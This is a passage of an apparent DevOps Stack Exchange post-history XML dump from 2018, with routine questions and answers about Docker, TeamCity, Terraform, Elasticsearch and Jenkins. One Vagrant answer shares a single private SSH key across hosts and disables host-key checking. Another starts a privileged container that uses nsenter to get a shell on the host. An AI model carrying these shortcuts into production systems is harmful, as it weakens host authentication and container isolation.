by Ansible with custom data. For each host it also shows the groups, host variables, custom variables and machine-local facts.&#xD;&#xA;&#xD;&#xA;![ansible-cmdb example](https://raw.githubusercontent.com/fboender/ansible-cmdb/master/contrib/screenshot-overview.png)&#xD;&#xA;&#xD;&#xA;I've been using this for the last couple of years and it continues to evolve and improve.  I hope you'll find it useful as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="15304" PostHistoryTypeId="5" PostId="4446" RevisionGUID="e4799e89-8499-4daf-8365-99c16e93c5c4" CreationDate="2018-08-28T06:44:11.550" UserId="6375" Comment="Modify the content" Text="In the .net core 2.1 project, there is a `*.csproj` file, that contains assembly information:&#xD;&#xA;&#xD;&#xA;    &lt;AssemblyVersion&gt;2019.1.15341.0&lt;/AssemblyVersion&gt;&#xD;&#xA;        &lt;FileVersion&gt;2019.1.15341.0&lt;/FileVersion&gt;&#xD;&#xA;        &lt;Version&gt;2019.1.15341&lt;/Version&gt;&#xD;&#xA;    &lt;/PropertyGroup&gt;&#xD;&#xA;&#xD;&#xA;In Standard **.net** projects there were Properties/AssemblyInfo.cs which contained the Assembly information, but in the .net core, there is no AssemblyInfo.cs, all Assembly information are in the csproj.&#xD;&#xA;&#xD;&#xA;How can I change the Assembly Version, File Version in Assembly Info ***Patcher*** in ***TeamCity*** for the **.net** core projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15305" PostHistoryTypeId="4" PostId="4446" RevisionGUID="e4799e89-8499-4daf-8365-99c16e93c5c4" CreationDate="2018-08-28T06:44:11.550" UserId="6375" Comment="Modify the content" Text="How to patch AssemblyInfo in TeamCity for .net core 2.1 projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15306" PostHistoryTypeId="24" PostId="4446" RevisionGUID="e4799e89-8499-4daf-8365-99c16e93c5c4" CreationDate="2018-08-28T06:44:11.550" Comment="Proposed by 6375 approved by 5962 edit id of 776" ContentLicense="CC BY-SA 4.0" />
  <row Id="15307" PostHistoryTypeId="2" PostId="4859" RevisionGUID="a9a928f4-a9b8-49c7-81f8-997ed8051598" CreationDate="2018-08-28T09:40:12.743" UserId="9440" Text="I am using docker-compose to create 5 containers that run my application.&#xD;&#xA;Two containers need credentials stored in Azure Key Vault.  &#xD;&#xA;&#xD;&#xA;As I am committing this to a public repo I do not want to store any azure credentials in plain text in the docker-compose.yaml file.&#xD;&#xA;&#xD;&#xA;Is there a better way to do this?  &#xD;&#xA;&#xD;&#xA;I am thinking to use [FluentDocker][https://github.com/mariotoffia/FluentDocker] to grab the secrets and dynamically create each container - but wonder if there is a better way?&#xD;&#xA;&#xD;&#xA;Can I use Azure Key Vault with Docker? or is it easier to use Docker secrets? Or something else?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15308" PostHistoryTypeId="1" PostId="4859" RevisionGUID="a9a928f4-a9b8-49c7-81f8-997ed8051598" CreationDate="2018-08-28T09:40:12.743" UserId="9440" Text="docker compose azure key vault" ContentLicense="CC BY-SA 4.0" />
  <row Id="15309" PostHistoryTypeId="3" PostId="4859" RevisionGUID="a9a928f4-a9b8-49c7-81f8-997ed8051598" CreationDate="2018-08-28T09:40:12.743" UserId="9440" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;azure&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15310" PostHistoryTypeId="5" PostId="4859" RevisionGUID="76180d77-473f-4aa9-bfd7-1cece681bf2b" CreationDate="2018-08-28T09:48:46.933" UserId="9440" Comment="english" Text="I am using docker-compose to create 5 containers that run my application.&#xD;&#xA;Two containers need credentials retrieve from Azure Key Vault (web.config passwords to access 3rd party service).  &#xD;&#xA;&#xD;&#xA;As I am committing this to a public repo I do not want to store any azure credentials in plain text in the docker-compose.yaml file when starting up each container.&#xD;&#xA;&#xD;&#xA;Is there a better way to do this?  &#xD;&#xA;&#xD;&#xA;I am thinking to use [FluentDocker][https://github.com/mariotoffia/FluentDocker] to grab the secrets and dynamically create each container - but wonder if there is a better way?&#xD;&#xA;&#xD;&#xA;Can I use Azure Key Vault with Docker? &#xD;&#xA;&#xD;&#xA;Is it easier to use Docker secrets?&#xD;&#xA;&#xD;&#xA;Or something else?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15311" PostHistoryTypeId="5" PostId="4857" RevisionGUID="3a8a6454-b980-4955-a23f-2ef059051dfa" CreationDate="2018-08-28T10:57:43.153" UserId="9454" Comment="deleted 3 characters in body" Text="You can use `File Content Replacer` build feature with predefined templates for .NET Core&#xD;&#xA;&#xD;&#xA;https://confluence.jetbrains.com/display/TCD18/File+Content+Replacer#FileContentReplacer-.NetCorecsprojtemplates" ContentLicense="CC BY-SA 4.0" />
  <row Id="15312" PostHistoryTypeId="5" PostId="4859" RevisionGUID="a350bb1f-0928-4716-b875-952e562c8f0d" CreationDate="2018-08-28T12:43:46.953" UserId="9440" Comment="FluentDocker" Text="I am using docker-compose to create 5 containers that run my application.&#xD;&#xA;Two containers need credentials retrieve from Azure Key Vault (web.config passwords to access 3rd party service).  &#xD;&#xA;&#xD;&#xA;As I am committing this to a public repo I do not want to store any azure credentials in plain text in the docker-compose.yaml file when starting up each container.&#xD;&#xA;&#xD;&#xA;Is there a better way to do this?  &#xD;&#xA;&#xD;&#xA;I am thinking to use https://github.com/mariotoffia/FluentDocker to grab the secrets and dynamically create each container - but wonder if there is a better way?&#xD;&#xA;&#xD;&#xA;Can I use Azure Key Vault with Docker? &#xD;&#xA;&#xD;&#xA;Is it easier to use Docker secrets?&#xD;&#xA;&#xD;&#xA;Or something else?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15313" PostHistoryTypeId="50" PostId="3709" RevisionGUID="86454999-ef45-48f4-8923-7877e8b5fe95" CreationDate="2018-08-28T13:01:37.917" UserId="-1" />
  <row Id="15314" PostHistoryTypeId="10" PostId="3709" RevisionGUID="368ddd87-d7b6-4016-99f2-cf467d595507" CreationDate="2018-08-28T13:02:37.643" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="15315" PostHistoryTypeId="50" PostId="4189" RevisionGUID="95837e14-9683-4d0f-a513-0083a9d56b3e" CreationDate="2018-08-28T15:01:01.013" UserId="-1" />
  <row Id="15316" PostHistoryTypeId="2" PostId="4860" RevisionGUID="26fb2332-91d2-402c-80f0-08d3ebdb7099" CreationDate="2018-08-28T15:33:50.877" UserId="9468" Text="I  am having docker container with Ubuntu installed  which was running with Nvidia docker &#xD;&#xA;But now I connected that HDD in a different computer. Now After typing&#xD;&#xA; following command in newly assembled system&#xD;&#xA;&gt; sudo docker start container&#xD;&#xA;&#xD;&#xA;I am getting error something like&#xD;&#xA;Unable to create  /etc/nvidiactl&#xD;&#xA;&#xD;&#xA;It seems like it needs Nvidia GPU to run that container which I don't have. So how can I get the data which is there in the container if i am unable to start it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15317" PostHistoryTypeId="1" PostId="4860" RevisionGUID="26fb2332-91d2-402c-80f0-08d3ebdb7099" CreationDate="2018-08-28T15:33:50.877" UserId="9468" Text="Getting data from crashed docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="15318" PostHistoryTypeId="3" PostId="4860" RevisionGUID="26fb2332-91d2-402c-80f0-08d3ebdb7099" CreationDate="2018-08-28T15:33:50.877" UserId="9468" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15322" PostHistoryTypeId="2" PostId="4862" RevisionGUID="3bbc4305-bfd8-4406-937b-8baddbe40b3d" CreationDate="2018-08-28T16:31:05.023" UserId="4175" Text="Docker manages all the data in `/var/lib/docker`. Look around, you should immediately be able to find it. The top level directory names are hashes, and thus look pretty garbled, but below that you have the regular file system(s) of your images and containers. All those &quot;onionized&quot; filesystem layers will still be there if you didn't delete them. You can search using the usual command line tools (`find` etc.), filtering by date, file size, file name, etc.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15323" PostHistoryTypeId="50" PostId="1622" RevisionGUID="bea60540-fdad-4f11-9049-83228874c549" CreationDate="2018-08-28T17:00:24.257" UserId="-1" />
  <row Id="15324" PostHistoryTypeId="50" PostId="3177" RevisionGUID="55f6a292-fecd-4101-b19c-878c081c0f6f" CreationDate="2018-08-28T20:01:24.133" UserId="-1" />
  <row Id="15325" PostHistoryTypeId="50" PostId="2536" RevisionGUID="fe303462-f797-4e11-8e1c-2342d865022a" CreationDate="2018-08-28T21:00:32.810" UserId="-1" />
  <row Id="15326" PostHistoryTypeId="4" PostId="4859" RevisionGUID="aa633c0e-65f0-4d9f-8830-05f5a37a6348" CreationDate="2018-08-29T03:45:57.457" UserId="9440" Comment="title" Text="docker compose &amp; azure key vault - passing secrets to a container on startup" ContentLicense="CC BY-SA 4.0" />
  <row Id="15327" PostHistoryTypeId="2" PostId="4863" RevisionGUID="f0a8ad10-0600-4f7d-b9ba-4ba01e7aeced" CreationDate="2018-08-29T09:25:56.827" UserId="9481" Text="I could find that “submitter” parameter accepts individual user IDs and external LDAP groups. But “Jenkins-local” groups defined by any authorization strategy are not working. I have a limitation not to use external LDAP groups.&#xD;&#xA;&#xD;&#xA;The workaround that I have used is define the comma separated list of individual users as a Jenkins global variable and manage the list from there. This gives a better maintainability. However, it mandates that the stage is wrapped within node. As the pipeline waits for the approver to approve this step, it holds a node instance and this causes the rest of the jobs to wait for available instances. Is there a way to use a Jenkins global variable outside of node for the input step?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node{&#xD;&#xA;	stage ('Approve?')&#xD;&#xA;	{&#xD;&#xA;    	timeout(time:2, unit:'DAYS')&#xD;&#xA;    	{&#xD;&#xA;        	input message: 'Can you approve this ??', submitter: MY_APPROVERS&#xD;&#xA;    	}&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15328" PostHistoryTypeId="1" PostId="4863" RevisionGUID="f0a8ad10-0600-4f7d-b9ba-4ba01e7aeced" CreationDate="2018-08-29T09:25:56.827" UserId="9481" Text="Jenkins input pipeline step - Give submitter as a group" ContentLicense="CC BY-SA 4.0" />
  <row Id="15329" PostHistoryTypeId="3" PostId="4863" RevisionGUID="f0a8ad10-0600-4f7d-b9ba-4ba01e7aeced" CreationDate="2018-08-29T09:25:56.827" UserId="9481" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15330" PostHistoryTypeId="50" PostId="4028" RevisionGUID="1e72b272-522b-4eee-9a00-4cd6e9c37a7a" CreationDate="2018-08-29T12:01:33.950" UserId="-1" />
  <row Id="15331" PostHistoryTypeId="2" PostId="4864" RevisionGUID="df1f1e13-8681-4117-81b2-9ff1158a1dfc" CreationDate="2018-08-29T15:06:00.830" UserId="9488" Text="I can `docker run -p 3000:3000 image` _without_ `EXPOSE`ing that port in the container (see below). If that's true, then why bother putting EXPOSE in the Dockerfile? Is it just for communication to image users? Because I don't know of a functional reason to EXPOSE ports if they are all bindable anyways.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here are the steps showing me binding to a port in a container despite the fact it is not EXPOSEd&#xD;&#xA;&#xD;&#xA;    $ cat Dockerfile&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN apk add nodejs npm vim&#xD;&#xA;    COPY webserver /webserver&#xD;&#xA;    CMD [ &quot;node&quot;, &quot;/webserver/index.js&quot; ]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ docker build .&#xD;&#xA;    Sending build context to Docker daemon  1.931MB&#xD;&#xA;    Step 1/4 : FROM alpine&#xD;&#xA;     ---&gt; 11cd0b38bc3c&#xD;&#xA;    Step 2/4 : RUN apk add nodejs npm vim&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 4270f8bdb201&#xD;&#xA;    Step 3/4 : COPY webserver /webserver&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 67f4cda61ff0&#xD;&#xA;    Step 4/4 : CMD [ &quot;node&quot;, &quot;/webserver/index.js&quot; ]&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 1df8f9024b85&#xD;&#xA;    Successfully built 1df8f9024b85&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ curl localhost:4400&#xD;&#xA;    curl: (7) Failed to connect to localhost port 4400: Connection refused&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ docker run -d -p 4400:3000 1df8f9024b85&#xD;&#xA;    7d0e6c56f8ad8827fe72830a30c1aac96821104b8ea111291ca39e6536aad8fd&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ curl localhost:4400&#xD;&#xA;    Hello World!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $" ContentLicense="CC BY-SA 4.0" />
  <row Id="15332" PostHistoryTypeId="1" PostId="4864" RevisionGUID="df1f1e13-8681-4117-81b2-9ff1158a1dfc" CreationDate="2018-08-29T15:06:00.830" UserId="9488" Text="Why use EXPOSE in Dockerfile -- since you can bind to all ports anyways" ContentLicense="CC BY-SA 4.0" />
  <row Id="15333" PostHistoryTypeId="3" PostId="4864" RevisionGUID="df1f1e13-8681-4117-81b2-9ff1158a1dfc" CreationDate="2018-08-29T15:06:00.830" UserId="9488" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15334" PostHistoryTypeId="2" PostId="4865" RevisionGUID="ef9a9577-3a90-46bf-b041-6dbc119585d3" CreationDate="2018-08-29T15:09:20.053" UserId="13" Text="Docker's [EXPOSE documentation][1] address this specific point:&#xD;&#xA;&#xD;&#xA;&gt; The `EXPOSE` instruction does not actually publish the port. It&#xD;&#xA;&gt; functions as a type of documentation between the person who builds the&#xD;&#xA;&gt; image and the person who runs the container, about which ports are&#xD;&#xA;&gt; intended to be published. To actually publish the port when running&#xD;&#xA;&gt; the container, use the `-p` flag on `docker run` to publish and map&#xD;&#xA;&gt; one or more ports, or the `-P` flag to publish all exposed ports and&#xD;&#xA;&gt; map them to high-order ports.&#xD;&#xA;&#xD;&#xA;Pay attention to the last sentence, if you expose multiple ports then -P become useful to avoid setting multiple -p on the command line.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/builder/#expose" ContentLicense="CC BY-SA 4.0" />
  <row Id="15335" PostHistoryTypeId="2" PostId="4866" RevisionGUID="9b388124-3173-47a2-b6e8-a03ed98e5139" CreationDate="2018-08-29T15:18:15.830" UserId="228" Text="This is done for automation sake. You can have a universal command that runs `docker run -P` to start a container and the Dockerfile itself is used to specify which container exposes which port. In case you are dealing with dozens or hundreds of containers being built through a pipeline, this is quite useful. Passing external details not contained in Dockerfile together with the container through pipeline from stage to stage is quite difficult at scale.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15336" PostHistoryTypeId="2" PostId="4867" RevisionGUID="b8b31f9b-046d-405c-bbf9-4eae67010436" CreationDate="2018-08-29T15:48:42.797" UserId="228" Text="So what you can do is you list all of your containers with command:&#xD;&#xA;&#xD;&#xA;    docker container ls -a&#xD;&#xA;&#xD;&#xA;And the second field is an image name, you can run this command to get all the read-only layers with their respective directories to search for the file in:&#xD;&#xA;&#xD;&#xA;    docker image inspect &lt;image_id&gt; | jq '.[0].GraphDriver.Data.LowerDir' -r | tr &quot;:&quot; &quot;\n&quot;&#xD;&#xA;&#xD;&#xA;If the file was something written inside the container replace **Lower** with **Upper**. &#xD;&#xA;&#xD;&#xA;In case you are on Mac the /var/lib/docker is inside the virtual machine and so you have to first enter that before you can get to those directories described in the command above. You can do it using nsenter like this:&#xD;&#xA;&#xD;&#xA;    docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15337" PostHistoryTypeId="5" PostId="4862" RevisionGUID="d7640782-62bc-4986-bbf1-ebdf3e713b50" CreationDate="2018-08-29T16:20:00.690" UserId="4175" Comment="added 212 characters in body" Text="_This answer assumes a completely broken installation, i.e. no `docker xxx` commands work (though the OP did not say that explicitely). If I guessed wrong and they do work, then please refer to Jiri Klouda's answer instead._&#xD;&#xA;&#xD;&#xA;Docker manages all the data in `/var/lib/docker`. Look around, you should immediately be able to find it. The top level directory names are hashes, and thus look pretty garbled, but below that you have the regular file system(s) of your images and containers. All those &quot;onionized&quot; filesystem layers will still be there if you didn't delete them. You can search using the usual command line tools (`find` etc.), filtering by date, file size, file name, etc.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15342" PostHistoryTypeId="50" PostId="4023" RevisionGUID="b35ee58b-e5a1-46e1-952f-877c046e00b1" CreationDate="2018-08-30T01:01:13.843" UserId="-1" />
  <row Id="15347" PostHistoryTypeId="2" PostId="4870" RevisionGUID="1509776f-805a-4b86-9535-180f6a1116aa" CreationDate="2018-08-30T08:56:32.830" UserId="228" Text="This project is to support automation of running ansible playbooks. There is a GUI based project called **Ansible Tower** or [AWX][1] to do that, but **ansible-runner** seems to be the underlying layer of the automation in essence replacing **ansible-playbook** command.&#xD;&#xA;&#xD;&#xA;There are some really serious issues for automation when trying to use **ansible-playbook** as part of some scripts. The output of **ansible-playbook** is the most awful thing under the sun when it comes to parsing. So you have to start with writing your own output plugin and then write a parser for that, then you need to figure out how to manage the environment variables and passwords and many other things. So **ansible-runner** is the answer to this. It would preserve the artifacts from running a task or playbook and make encapsulation of ansible in further automation possible.&#xD;&#xA;&#xD;&#xA;You can run it from shell, you can run it as python module and there is even a reference container for it and obviously it is used by AWX. Further the project's event emitter will hopefully be much better pluggable to monitoring systems like ELK and to Message Bus type systems.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/awx" ContentLicense="CC BY-SA 4.0" />
  <row Id="15348" PostHistoryTypeId="2" PostId="4871" RevisionGUID="94a9af3f-003f-48d2-ae8f-40b70662becf" CreationDate="2018-08-30T12:12:49.860" UserId="9440" Text="Found this --&gt;  [https://devops.stackexchange.com/questions/3902/passing-secrets-to-a-docker-container?rq=1][1]&#xD;&#xA;&#xD;&#xA;Environment variables appear the preferred method - will need to run a prebuild script to fetch the secrets and then follow this&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/environment-variables/&#xD;&#xA;&#xD;&#xA;@Mods feel free to close as a duplicate&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/3902/passing-secrets-to-a-docker-container?rq=1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15349" PostHistoryTypeId="2" PostId="4872" RevisionGUID="f5f192f2-3790-4082-bfb2-8207295a92cf" CreationDate="2018-08-30T15:10:50.113" UserId="2494" Text="I have an installation of Elasticsearch without persistence running and I need to back it up so we can move it to a persistent setup.&#xD;&#xA;&#xD;&#xA;What are safe ways to do this and keep the data in the ES database?&#xD;&#xA;&#xD;&#xA;It is running and I want to avoid shutting it down.&#xD;&#xA;&#xD;&#xA;It is running in a container and I think the entrypoint starts the server. So stopping the cluster my stop my pod and get rid of all my data..." ContentLicense="CC BY-SA 4.0" />
  <row Id="15350" PostHistoryTypeId="1" PostId="4872" RevisionGUID="f5f192f2-3790-4082-bfb2-8207295a92cf" CreationDate="2018-08-30T15:10:50.113" UserId="2494" Text="Backing up an ephemeral Elasticsearch installation" ContentLicense="CC BY-SA 4.0" />
  <row Id="15351" PostHistoryTypeId="3" PostId="4872" RevisionGUID="f5f192f2-3790-4082-bfb2-8207295a92cf" CreationDate="2018-08-30T15:10:50.113" UserId="2494" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15357" PostHistoryTypeId="5" PostId="1247" RevisionGUID="0364c751-9863-450d-bccc-05bc113f6885" CreationDate="2018-08-30T17:48:40.007" UserId="-1" Comment="Extension was missing for id_rsa.pub and stack overflow requires at least 6 characters..." Text="Based on [techraf's 3rd suggestion](https://devops.stackexchange.com/a/1241/375) I did the following:&#xD;&#xA;&#xD;&#xA; - `vagrant up ansible`&#xD;&#xA; - `ssh-keygen` (no password just pressed &lt;kbd&gt;Enter&lt;/kbd&gt;)&#xD;&#xA; - copied `.ssh/id_rsa` and `.ssh/id_rsa.pub` to the project directory&#xD;&#xA; - `vagrant destroy ansible`&#xD;&#xA; - modified the `Vagrantfile` to copy the `id_rsa` to all hosts&#xD;&#xA; - modified the `Vagrantfile` to copy the `id_rsa.pub` into `authorized_keys` on all hosts&#xD;&#xA; - modified the Vagrantfile to disable host checking&#xD;&#xA;&#xD;&#xA;Vagrantfile snippet:&#xD;&#xA;&#xD;&#xA;     config.vm.provision &quot;file&quot;, source: &quot;id_rsa&quot;, destination: &quot;/home/vagrant/.ssh/id_rsa&quot;&#xD;&#xA;     public_key = File.read(&quot;id_rsa.pub&quot;)&#xD;&#xA;     config.vm.provision :shell, :inline =&gt;&quot;&#xD;&#xA;         echo 'Copying ansible-vm public SSH Keys to the VM'&#xD;&#xA;         mkdir -p /home/vagrant/.ssh&#xD;&#xA;         chmod 700 /home/vagrant/.ssh&#xD;&#xA;         echo '#{public_key}' &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         echo 'Host 192.168.*.*' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         echo 'StrictHostKeyChecking no' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         echo 'UserKnownHostsFile /dev/null' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/config&#xD;&#xA;         &quot;, privileged: false&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15358" PostHistoryTypeId="24" PostId="1247" RevisionGUID="0364c751-9863-450d-bccc-05bc113f6885" CreationDate="2018-08-30T17:48:40.007" Comment="Proposed by 149.173.8.7|643a97d1-157e-4018-8689-3174916852de approved by 40, 2901 edit id of 777" ContentLicense="CC BY-SA 4.0" />
  <row Id="15359" PostHistoryTypeId="2" PostId="4874" RevisionGUID="6d7d72c3-5c18-4cff-a173-542a7589f852" CreationDate="2018-08-30T18:16:48.907" UserId="6" Text="ElasticSearch can backup itself when told to do so via an API call.&#xD;&#xA;You just need to configure a destination, and optionally credentials, for example you make ElasticSearch create snapshots of its database in AWS S3.&#xD;&#xA;&#xD;&#xA;https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html&#xD;&#xA;&#xD;&#xA;You can also automate these calls using a schedule with the Elastic `curator` tool.&#xD;&#xA;&#xD;&#xA;https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/snapshot.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="15360" PostHistoryTypeId="5" PostId="434" RevisionGUID="f087b31b-d173-4265-a5e7-71094562546e" CreationDate="2018-08-30T18:18:19.437" UserId="6" Comment="added 192 characters in body" Text="No. Because you [cannot distribute Oracle JDK or JRE, the license in effect doesn't allow distribution][1]. When distributed by a third party (embedded with your app) all the liability for it not working is on that party. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][2] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][3] explains which dependencies are required, and [links to StackOverflow][4] for installation instructions.&#xD;&#xA;&#xD;&#xA;**Update**: Oracle have an official Docker image on the *Docker Store* now. https://blogs.oracle.com/developers/official-docker-image-for-oracle-java-and-the-openjdk-roadmap-for-containers&#xD;&#xA;&#xD;&#xA;Link to *Docker Store* Oracle Java Image - https://store.docker.com/images/oracle-serverjre-8&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/terms/license/index.html&#xD;&#xA;  [2]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [3]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [4]: https://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 4.0" />
  <row Id="15364" PostHistoryTypeId="50" PostId="1877" RevisionGUID="cf518df9-f8a9-469c-926b-79e95a6a1ce0" CreationDate="2018-08-30T21:01:52.547" UserId="-1" />
  <row Id="15365" PostHistoryTypeId="50" PostId="4636" RevisionGUID="c1a9d0b1-d862-4130-9fc3-94ae2b6930b3" CreationDate="2018-08-30T22:00:30.363" UserId="-1" />
  <row Id="15380" PostHistoryTypeId="2" PostId="4879" RevisionGUID="aaa0986b-916e-4712-8f72-9533a58e1541" CreationDate="2018-08-31T12:43:08.893" UserId="9529" Text="I try to lean terraform for usage with our AWS environment.&#xD;&#xA;I have created a .tf file and terraform init was successful. &#xD;&#xA;&#xD;&#xA;In the .tf file I have a number of variables that are populated via .var files (not **.tfvar**) because I want to assign values per instance/project etc.&#xD;&#xA;&#xD;&#xA;The problem is that when I run the command &#xD;&#xA;&#xD;&#xA;    terraform plan -var-file=&quot;myvars.var&quot;&#xD;&#xA;all I get is the terraform usage message. &#xD;&#xA;&#xD;&#xA;Where is my mistake?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15381" PostHistoryTypeId="1" PostId="4879" RevisionGUID="aaa0986b-916e-4712-8f72-9533a58e1541" CreationDate="2018-08-31T12:43:08.893" UserId="9529" Text="Terraform plan -var-file=&quot;myvars.vars&quot; does not run" ContentLicense="CC BY-SA 4.0" />
  <row Id="15382" PostHistoryTypeId="3" PostId="4879" RevisionGUID="aaa0986b-916e-4712-8f72-9533a58e1541" CreationDate="2018-08-31T12:43:08.893" UserId="9529" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15383" PostHistoryTypeId="2" PostId="4880" RevisionGUID="11eea1bd-30aa-4ac1-91bf-dec4f147c3c9" CreationDate="2018-08-31T13:32:14.217" UserId="6671" Text="You define variables in `variables.tf` file. However, you can define inputs to these defined variables in a `.tfvars`(recommended) or any other files.&#xD;&#xA;&gt;Values for the input variables of a root module can be gathered in variable definition files and passed together using the -var-file=FILE option.&#xD;&#xA;&gt;&#xD;&#xA;For all files which match terraform.tfvars or *.auto.tfvars present in the current directory, Terraform automatically loads them to populate variables. If the file is located somewhere else, you can pass the path to the file using the -var-file flag. It is recommended to name such files with names ending in .tfvars.&#xD;&#xA;[more...](https://www.terraform.io/docs/configuration/variables.html#variable-files)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Make sure you are running `terraform plan` from the directory where the variable file resides. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15384" PostHistoryTypeId="5" PostId="4835" RevisionGUID="5635bb57-3da7-4eef-be6c-949e830a0c78" CreationDate="2018-08-31T14:05:03.090" UserId="9351" Comment="tried first answer" Text="I installed `JIRA Plugin` for the jenkins. It add some action in `Post-build Action` menu. One of the action is **JIRA: Update relevant issues**. &#xD;&#xA;&#xD;&#xA;When I try to access Environment Variable, it gives error.&#xD;&#xA;&#xD;&#xA;    WARNING: jira rest client get issue from jql search error. cause: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    java.util.concurrent.ExecutionException: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:289)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:262)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:91)&#xD;&#xA;    	at com.google.common.util.concurrent.ForwardingFuture.get(ForwardingFuture.java:69)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.DelegatingPromise.get(DelegatingPromise.java:107)&#xD;&#xA;    	at hudson.plugins.jira.JiraRestService.getIssuesFromJqlSearch(JiraRestService.java:177)&#xD;&#xA;    	at hudson.plugins.jira.JiraSession.getIssuesFromJqlSearch(JiraSession.java:136)&#xD;&#xA;    	at hudson.plugins.jira.selector.JqlIssueSelector.findIssueIds(JqlIssueSelector.java:49)&#xD;&#xA;    	at hudson.plugins.jira.Updater.perform(Updater.java:85)&#xD;&#xA;    	at hudson.plugins.jira.JiraIssueUpdater.perform(JiraIssueUpdater.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:81)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1749)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at 